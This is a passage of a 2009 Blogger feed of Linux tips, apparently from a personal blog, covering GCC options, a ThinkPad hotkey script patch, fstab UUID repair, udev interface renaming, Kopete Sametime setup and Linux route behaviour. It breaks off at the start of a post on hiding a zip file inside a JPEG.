src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-8936592135724866869</id><published>2009-05-30T09:20:00.000-07:00</published><updated>2012-01-22T05:40:01.114-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gcc'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><title type='text'>Simplifying GCC</title><content type='html'>GCC is the GNU Compiler Collection which  provides C, C++ etc compilers. These compilers are used by default in all *nixes .&lt;br /&gt;&lt;br /&gt;Here i  provide simple command line options which can prove to be quite useful.&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;The simplest way to use GCC to compile a C source file is&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;        $ gcc -o test test1.c&lt;/span&gt;  &lt;span style="font-weight: bold;"&gt;test2.c &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;gcc is the C compiler, test1.c and test2.c are the input  C source files and -o lets us specify the name of the output file. Here it is "test". Without the -o option, "a.out" is the default executable that gets created.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; The preprocessor:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    $ gcc -E test.c &gt; test.out&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;This option, ensures the compilation process stops after the pre-processor has run. This helps us in figuring out issues/problems in macros.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The Compiler:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    $ gcc -c test.c -o test.o&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;This option ensures the compilation process completes but doesn't invoke the linker/loader. This is useful if you want to just remove compilation warnings and errors.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Header Files:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    $gcc -c test.c -I /location/of/header/files -o test&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;Many a times the headers files you want to use, is located is some other directory. A "bad" practice followed is to include the direct path of the header files in the C src file.&lt;br /&gt;Instead use this option. It tells the compiler which directories to look in for the mentioned header files. The -I options can be used multiple times for multiple directories where header files are located.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Library Files:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    $ gcc -c test.c -lpthread -L /usr/lib/libpthread&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;Another requirement that is frequently required is using  standard libraries ( NPTL Threads etc)  or non-standard ones (expat etc).  '-l' option tells which library to use while linking while '-L' tells where the find this library. In the above example during linking, it will search for pthread library in the dir /usr/lib/libpthread.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Warnings, Errors, etc:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    $gcc test.c -o test -Wall -Werror&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;-Wall options shows all warnings that are typically not shown during regular compilation. These errors are easy fixable like "Unused varniables", "implicit function declaration" etc. -Werror options tells the compiler to treat all warnings as errors and stop compilation instantly.&lt;br /&gt;Sometimes -Werror can be too strict for our purpose. Instead you can treat only certain warnings are errors.&lt;br /&gt;eg.  &lt;span style="font-weight: bold;"&gt;-Werror-implicit-function-declaration&lt;/span&gt;: Treat only implicit function declaration warnings as errors. For more such options check the gcc man pages.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Debugging:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    $gcc -g test.c -o test&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This option activates all the debugging symbols. This is required if one plans to use gdb for debugging (which is mostly the case).&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Optimizations:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    $gcc -O2 test.c -o test&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;This option lets the compiler optimize the code . -O can take 0,1,2 levels of optimizations.&lt;br /&gt;More info is available in the man pages of gcc.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;These options are the ones that are most frequently used. Obviously there are many more options available . Use them as per your needs and refer the man pages for the exhaustive list of options.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-8936592135724866869?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/8936592135724866869/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/05/simplifying-gcc.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/8936592135724866869'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/8936592135724866869'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/05/simplifying-gcc.html' title='Simplifying GCC'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-7309123992877474500</id><published>2009-05-19T02:13:00.000-07:00</published><updated>2012-01-22T05:40:01.209-08:00</updated><title type='text'>Fix Thinkpad Function Keys/Hot Keys in kde 4.2 (Jaunty) - patch to display brightness levels.</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;A small patch &lt;a href='http://linux-hacks.blogspot.com/2009/05/fix-thinkpad-function-keyshot-keys-in.html'&gt;for the script &lt;/a&gt;to display the brightness level of your Thinkpad display with the brightness Increase/Decrease keys.&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;--- softkeys.py 2009-05-08 11:51:28.000000000 +0530                        &lt;br/&gt;+++ softkeys-0.1.py     2009-05-19 12:43:58.000000000 +0530                &lt;br/&gt;@@ -1,6 +1,7 @@                                                            &lt;br/&gt; #!/usr/bin/env python                                                     &lt;br/&gt; # -*- coding: utf-8 -*-                                                   &lt;br/&gt; # Copyright: 2009 by Tillmann Falck &amp;lt;tillmann _at_ falcken _dot_ de&amp;gt;      &lt;br/&gt;+# Uttaran Dutta added the funtion for the display for the brightness for T60p &amp;lt;linux-hacks.blogspot.com&amp;gt;&lt;br/&gt; # License: GPL v2 or later                                                                              &lt;br/&gt;                                                                                                         &lt;br/&gt; from Xlib.display import Display                                                                        &lt;br/&gt;@@ -16,8 +17,11 @@                                                                                       &lt;br/&gt; XF86Battery = 244                                                                                       &lt;br/&gt; XF86Display = 235                                                                                       &lt;br/&gt; KeyUndock = 202                                                                                         &lt;br/&gt;+XF86MonBrightnessDown = 232                                                                             &lt;br/&gt;+XF86MonBrightnessUp = 233                                                                               &lt;br/&gt;                                                                                                         &lt;br/&gt;-keys = [XF86Sleep, XF86Standby, XF86Screensaver, XF86Battery, XF86Display, KeyUndock]                   &lt;br/&gt;+                                                                                                        &lt;br/&gt;+keys = [XF86Sleep, XF86Standby, XF86Screensaver, XF86Battery, XF86Display, KeyUndock, XF86MonBrightnessDown, XF86MonBrightnessUp]&lt;br/&gt;                                                                                                                                  &lt;br/&gt; def callDisplay():                                                                                                               &lt;br/&gt;   try:                                                                                                                           &lt;br/&gt;@@ -63,6 +67,14 @@                                                                                                                &lt;br/&gt;     print &amp;gt;&amp;gt;sys.stderr, 'Error while trying to change output, try full auto'                                                     &lt;br/&gt;     os.system('xrandr --auto')                                                                                                   &lt;br/&gt;                                                                                                                                  &lt;br/&gt;+def briStats(bus):                                                                                                               &lt;br/&gt;+  bri = bus.get_object( \                                                                                                        &lt;br/&gt;+    'org.freedesktop.Hal', \                                                                                                     &lt;br/&gt;+    '/org/freedesktop/Hal/devices/computer_backlight')                                                                           &lt;br/&gt;+  briLevel = (bri.GetBrightness(dbus_interface='org.freedesktop.Hal.Device.LaptopPanel')*100)/(bri.GetProperty('laptop_panel.num_levels', dbus_interface='org.freedesktop.Hal.Device')-1)                                                                                          &lt;br/&gt;+  s = 'Brightness level is %d%% &amp;lt;br /&amp;gt;' % (briLevel)                                                                                     &lt;br/&gt;+  return s                                                                                                                               &lt;br/&gt;+                                                                                                                                         &lt;br/&gt; def acStats(bus):                                                                                                                        &lt;br/&gt;   ac = bus.get_object( \                                                                                                                 &lt;br/&gt;     'org.freedesktop.Hal', \&lt;br/&gt;@@ -91,6 +103,26 @@&lt;br/&gt;     s = 'Battery %d level %d%%&amp;lt;br /&amp;gt;' % (n+1, batLevel)&lt;br/&gt;   return s&lt;br/&gt;&lt;br/&gt;+def callBrightness():&lt;br/&gt;+  try:&lt;br/&gt;+    sessBus = dbus.SessionBus()&lt;br/&gt;+    sysBus = dbus.SystemBus()&lt;br/&gt;+&lt;br/&gt;+    hal = dbus.Interface( \&lt;br/&gt;+      sysBus.get_object('org.freedesktop.Hal', \&lt;br/&gt;+        '/org/freedesktop/Hal/Manager'), \&lt;br/&gt;+      dbus_interface='org.freedesktop.Hal.Manager')&lt;br/&gt;+&lt;br/&gt;+    s = briStats(sysBus)&lt;br/&gt;+    ea = dbus.Array([], 's')&lt;br/&gt;+    notify = sessBus.get_object('org.kde.VisualNotifications', '/VisualNotifications')&lt;br/&gt;+    notify.Notify('brightness information',0,'brightness information','','Brightness Information', \&lt;br/&gt;+      s,ea,ea,5000, \&lt;br/&gt;+      dbus_interface='org.kde.VisualNotifications')&lt;br/&gt;+  except:&lt;br/&gt;+    print &amp;gt;&amp;gt;sys.stderr, 'No notifications or no information'&lt;br/&gt;+&lt;br/&gt;+&lt;br/&gt; def callBattery():&lt;br/&gt;   try:&lt;br/&gt;     sessBus = dbus.SessionBus()&lt;br/&gt;@@ -101,6 +133,7 @@&lt;br/&gt;         '/org/freedesktop/Hal/Manager'), \&lt;br/&gt;       dbus_interface='org.freedesktop.Hal.Manager')&lt;br/&gt;&lt;br/&gt;+    briStats(sysBus)&lt;br/&gt;     if hal.DeviceExists('/org/freedesktop/Hal/devices/computer_power_supply_ac_adapter_AC'):&lt;br/&gt;       ac = acStats(sysBus)&lt;br/&gt;     else:&lt;br/&gt;@@ -197,6 +230,8 @@&lt;br/&gt;     callSuspend()&lt;br/&gt;   elif event.detail == KeyUndock:&lt;br/&gt;     callUndock()&lt;br/&gt;+  elif event.detail == XF86MonBrightnessUp or event.detail == XF86MonBrightnessDown:&lt;br/&gt;+    callBrightness()&lt;br/&gt;   else:&lt;br/&gt;     print &amp;gt;&amp;gt;sys.stderr, "Key %d not handeled" % event.detail&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Note- The patch just enables the display changing for display brightness should be already working through acpi.&lt;br/&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-7309123992877474500?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/7309123992877474500/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/05/fix-thinkpad-function-keyshot-keys-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/7309123992877474500'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/7309123992877474500'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/05/fix-thinkpad-function-keyshot-keys-in.html' title='Fix Thinkpad Function Keys/Hot Keys in kde 4.2 (Jaunty) - patch to display brightness levels.'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-5107062087802056247</id><published>2009-05-08T02:56:00.000-07:00</published><updated>2012-01-22T05:40:01.304-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='kde'/><title type='text'>Fix Thinkpad Function Keys/Hot Keys in kde 4.2 (Jaunty)</title><content type='html'>Function keys doent work by default in kde 4.2. Those who migrate from gnome to kde 4 find it difficult to adjust without the 'fn' keys. The problem is with powerdevil. The new applet does not have options to configure the acpi events. This will exits till powerdevil is fixed. As of now, we can use a python script to handle these events. Make sure python-2.6, python-dbus and python-xlib are installed in your system. Download the script from &lt;a href="http://launchpadlibrarian.net/24484539/softkeys.py"&gt;here&lt;/a&gt; or &lt;a href="http://dl4u.savefile.com/89fae9d576d773901806e9b3c21413a2/softkeys.py"&gt;here&lt;/a&gt;.&lt;br /&gt;Give exe permission&lt;br /&gt;#chmod +x softkeys.py&lt;br /&gt;&lt;br /&gt;Place the script in ~/.kde/Autostart/ and restart your system. The function keys must start working now.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-5107062087802056247?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/5107062087802056247/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/05/fix-thinkpad-function-keyshot-keys-in_08.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/5107062087802056247'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/5107062087802056247'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/05/fix-thinkpad-function-keyshot-keys-in_08.html' title='Fix Thinkpad Function Keys/Hot Keys in kde 4.2 (Jaunty)'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-3534816129955180562</id><published>2009-04-30T01:43:00.000-07:00</published><updated>2012-01-22T05:40:01.416-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='kde'/><title type='text'>Create Desktop Shortcuts Using Cmd Line On KDE 4.2</title><content type='html'>Here is a quick way to create desktop shortcuts for kde 4.2.&lt;br /&gt;/usr/share/applications/ and /usr/share/applications/kde4 contains all the shortcut files (*.desktop).&lt;br /&gt;&lt;br /&gt;Just copy what ever you want to ~/Desktop. Thats it!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-3534816129955180562?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/3534816129955180562/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/04/create-desktop-shortcuts-using-cmd-line.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3534816129955180562'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3534816129955180562'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/04/create-desktop-shortcuts-using-cmd-line.html' title='Create Desktop Shortcuts Using Cmd Line On KDE 4.2'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-966052310683637161</id><published>2009-04-28T20:40:00.000-07:00</published><updated>2012-01-22T05:40:01.528-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='errors'/><title type='text'>fsck.ext3 Unable to resolve UUID error</title><content type='html'>I installed Kubuntu 9.04 recently and within a day i ran into a peculiar problem. When i boot my system an error message "fsck.ext3 Unable to resolve UUID=&lt;uuid&gt;". This error generally happens when there is some information mismatch between what is specified in /etc/fstab and what information the OS gives to fsck utility. In this case, its quite easy to solve the problem.&lt;br /&gt;&lt;br /&gt;Enter the root password to enter the Maintenance mode when asked during boot.&lt;br /&gt;&lt;br /&gt;(Control - D to continue): &lt;enter&gt;&lt;br /&gt;&lt;br /&gt;List the partition table of your system.&lt;br /&gt;&lt;br /&gt;#fdisk -l&lt;br /&gt;  &lt;br /&gt;Device Boot      Start         End      Blocks   Id  System&lt;br /&gt;/dev/sda1   *           1        1913    15361888+  83  Linux&lt;br /&gt;Partition 1 does not end on cylinder boundary.&lt;br /&gt;/dev/sda2            1914        3186    10225372+  83  Linux&lt;br /&gt;/dev/sda3            3187       12161    72091687+   5  Extended&lt;br /&gt;/dev/sda5            3187        9265    48829536   83  Linux&lt;br /&gt;/dev/sda6            9266       11697    19535008+  83  Linux&lt;br /&gt;/dev/sda7           11698       12161     3727048+  82  Linux swap / Solaris&lt;br /&gt;&lt;br /&gt;#vim /etc/fstab&lt;br /&gt;&lt;br /&gt;Verify that each device entry specified in the file matches the correct file-system.This error can occur if FS type is wrongly specified. For example, /dev/sda7 is shown as ext3 FS when it clearly a swap in the above case. Correct such errors and reboot. This should solve the problem.&lt;br /&gt;&lt;br /&gt;If the entries are correct then, possible problem lies in the UUID specified in fstab. To solve this problem&lt;br /&gt;&lt;br /&gt;Determine the UUID of each and every device mentioned in fstab. This exmaple shows for sda1. Repeat this for all devices.&lt;br /&gt;&lt;br /&gt;#vol_id -u /dev/sda1&lt;br /&gt;b056f084-eb83-4374-9635-0b5904ff520a&lt;br /&gt;&lt;br /&gt;A line taken from my fstab&lt;br /&gt;# /virt was on /dev/sda1 during installation&lt;br /&gt;UUID=b056f084-eb83-4374-9635-0b5904ff520a /virt           ext3    relatime        02&lt;br /&gt;&lt;br /&gt;Note that UUID matches the entry in fstab. If there is a mismatch, then the entry shown by fstab must be replaced by vol_id. Thats it! save and reboot. This will solve the problem.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;REASON&lt;/span&gt;: The problem was solved but i was not sure what caused this problem. On further analysis i was able to narrow down on what caused the issue. Apparently, i did a format of a partition (/dev/sda1) which is NOT the / partition using gpartd. Gpart does not allow formats on mounted partitions, so the tools unmounts the partition and formats it. During this step, udev recognizes the new formated device as a new device and old one being removed(formated). Hence it assigned a new UUID which is now not same the one specified in /etc/fstab. Thats why on reboot i ran into this issue.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-966052310683637161?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/966052310683637161/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/04/fsckext3-unable-to-resolve-uuid-error.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/966052310683637161'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/966052310683637161'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/04/fsckext3-unable-to-resolve-uuid-error.html' title='fsck.ext3 Unable to resolve UUID error'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-5282343306692519984</id><published>2009-04-28T03:44:00.000-07:00</published><updated>2012-01-22T05:40:01.623-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='udev'/><title type='text'>Change/Resassign Interface Name In Linux</title><content type='html'>Depending on the linux distro, the interface name given to network cards differ.&lt;br /&gt;For example, on one distro Intel Giga bit Ethernet card might be detected as eth0 and Broadcom card as eth1 while with another distro this might be reversed. This causes a lot of problem, when one uses automated scripts which hardcode "eth0" and "eth1". In older distros it was matter of changing few network scripts to get this working. One can also use "ip" command to make this change temporarily. But to make it permanent it needs to be changed in udev. Here is how simple it is to change the ethernet names.&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;NOTE&lt;/span&gt;: This is only tested on F-10 and Ubuntu 9.04. Its expected to be the same for other distros. Only the name of the udev script might change.&lt;br /&gt;&lt;br /&gt;Edit the rule script:&lt;br /&gt;&lt;br /&gt;#vim /etc /udev/rules.d/70-persistent-net.rules&lt;br /&gt;&lt;br /&gt;Here the list of n/w adapters and their names are specified!&lt;br /&gt;Change the field NAME="eth0" to NAME="eth1" or vice versa&lt;br /&gt;Remember to rename the other adapter whose name you have borrowed.&lt;br /&gt;Restart the system and you will find the new names interchanged!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-5282343306692519984?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/5282343306692519984/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/04/changeresassign-interface-name-in-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/5282343306692519984'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/5282343306692519984'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/04/changeresassign-interface-name-in-linux.html' title='Change/Resassign Interface Name In Linux'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-6666870469290867516</id><published>2009-03-13T04:13:00.000-07:00</published><updated>2012-01-22T05:40:01.844-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kopete'/><category scheme='http://www.blogger.com/atom/ns#' term='sametime'/><title type='text'>Sametime on Koepete</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;Last year cheezo had blogged about &lt;a href="http://packages.ubuntu.com/dapper/kde/kopete-meanwhile"&gt;getting pidgin to support sametime protocol&lt;/a&gt;. It was great, but as KDE guy i missed it on Kopete. Its only recently i got myself to try it &amp;amp; viola it worked with just a little effort. I have the latest versions of these packages on my KDE 4.2.1 intrepid box (yes i live the bleeding edge tech, but any version of KDE 4.1.x which supports  kdenetwork - 4:4.1.80-0ubuntu1 should do the job).&lt;br /&gt;&lt;br /&gt; - kopete                      4:4.2.1-0ubuntu1~intrepid1&lt;br /&gt; - libmeanwhile1         1.0.2-3+ocdc3+intrepid (I got it from ocdc repo, libmeanwhile is also there in ubuntu multiverse)&lt;br /&gt; - kopete-meanwhile   0.1-0ubuntu2, (optional, can be downloaded from &lt;a href="http://packages.ubuntu.com/dapper/kde/kopete-meanwhile"&gt;here&lt;/a&gt;.)&lt;br /&gt;&lt;br /&gt;With the above all installed you should see the "Meanwhile" as one of the options in the _messaging services_ list in Kopete. Add a new account &amp;amp; continue with the username &amp;amp; password in the pretty straightforward _Basic Setup_ tab. The only tweaking required was the "Client Identifier" info in the _Connections_ tab. Use the option &amp;amp; no.s in the shot below.&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/_T2yUGXgjt04/Sbo8EKuTJ-I/AAAAAAAAA_I/EdOi2CQ2BR8/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /&gt;&lt;br /&gt;&lt;br /&gt;With that you should be good to go.&lt;br /&gt;&lt;br /&gt;--&lt;br /&gt;Enjoy&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-6666870469290867516?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/6666870469290867516/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/03/sametime-on-koepete.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/6666870469290867516'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/6666870469290867516'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/03/sametime-on-koepete.html' title='Sametime on Koepete'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_T2yUGXgjt04/Sbo8EKuTJ-I/AAAAAAAAA_I/EdOi2CQ2BR8/s72-c/%5BUNSET%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-3323062854895355721</id><published>2009-02-24T02:13:00.000-08:00</published><updated>2012-01-22T05:40:01.961-08:00</updated><title type='text'>Why linux keeps connected routes when link goes down?</title><content type='html'>I came across this interesting discussion on a particular behavior of linux. This issues was brought up by a system administrator who was facing an interesting situation. When the link of an interface goes down possibly due to hardware failure or cable pull out, the ip address and routes associated with that interface is retained until someone explicitly deletes it. This behavior is built into linux for more than 10 years and the reason for this was stated by &lt;a href="http://en.wikipedia.org/wiki/David_S._Miller"&gt;David Miller&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre wrap=""&gt;The default behavior for a general purpose operating system is&lt;br /&gt;to increase the likelyhood of successful communication.&lt;br /&gt;&lt;br /&gt;And the way to maximize successful communication is to associate&lt;br /&gt;addresses with the host rather than the interface.&lt;/pre&gt;It becomes clear why the developers decided to go with associating ip address with a particular node rather than an interface in the node. The problem with this implementation is relevant when linux is being used as a router. A router is a multi-homed host and tends to have multiple interfaces each connected to different network. So if a situation arises where the router finds a route entry to send a particular packet there are chances that the link may be down and packet never reaches the destination. Even if there are alternated routes to reach the particular destination it cannot be used as there is already an existing valid route with a interface that is down. Lennart Sorensen argued against David Miller's claim that different interface of the router might be connected to same network in which case the alternate interface can be taken. According to Lennart it still useless as we would end up having 2 route entries to the same destination with different interfaces and would pose the same problem when the first route entry points to an interface which is down. The no conclusion to this little problem as David points out in his replay to Lennart.&lt;br /&gt;&lt;br /&gt;&lt;pre wrap=""&gt;This decision was made at least 10 years ago, and if you think what we&lt;br /&gt;have now is broken just imagine how much struff would explode if we&lt;br /&gt;changed things.&lt;/pre&gt;All is not lost in this regard for people using linux as router. &lt;a href="http://devresources.linux-foundation.org/shemminger/"&gt;Stephen Hemminger&lt;/a&gt; suggested using &lt;a href="http://www.quagga.net/"&gt;quagga&lt;/a&gt; for this purpose. There are patches submitted to the quagga mailing list which does what Lennart wants without any modification to the kernel behaviour. Unfortunately those patches are not yet upstream in the quagga branch and has to be applied as patch. So in future would quagga become the routing management daemon for linux? Thats something we need to watch out.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5475638373794111209-3323062854895355721?l=linux-guider.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-guider.blogspot.com/feeds/3323062854895355721/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-guider.blogspot.com/2009/02/why-linux-keeps-connected-routes-when.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3323062854895355721'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5475638373794111209/posts/default/3323062854895355721'/><link rel='alternate' type='text/html' href='http://linux-guider.blogspot.com/2009/02/why-linux-keeps-connected-routes-when.html' title='Why linux keeps connected routes when link goes down?'/><author><name>Cabego</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5475638373794111209.post-8159767787781407040</id><published>2009-02-03T00:26:00.000-08:00</published><updated>2012-01-22T05:40:02.058-08:00</updated><title type='text'>Theory Behind Hiding Zipped File Under Jpg Image</title><content type='html'>The post &lt;a href="http://linux-hacks.blogspot.com/2009/02/hiding-zipped-files-under-jpg-images.html"&gt;Hiding Zipped File Under Jpg Image&lt;/a&gt; showed the steps to achieve data hiding in jpg. Since Ego was questioning the theory behind this, i decided to get my hands dirty and find the answer. To understand this, we need to understand the data structures of jpg image and zip files.&lt;br /&gt;Lets bisect the jpg 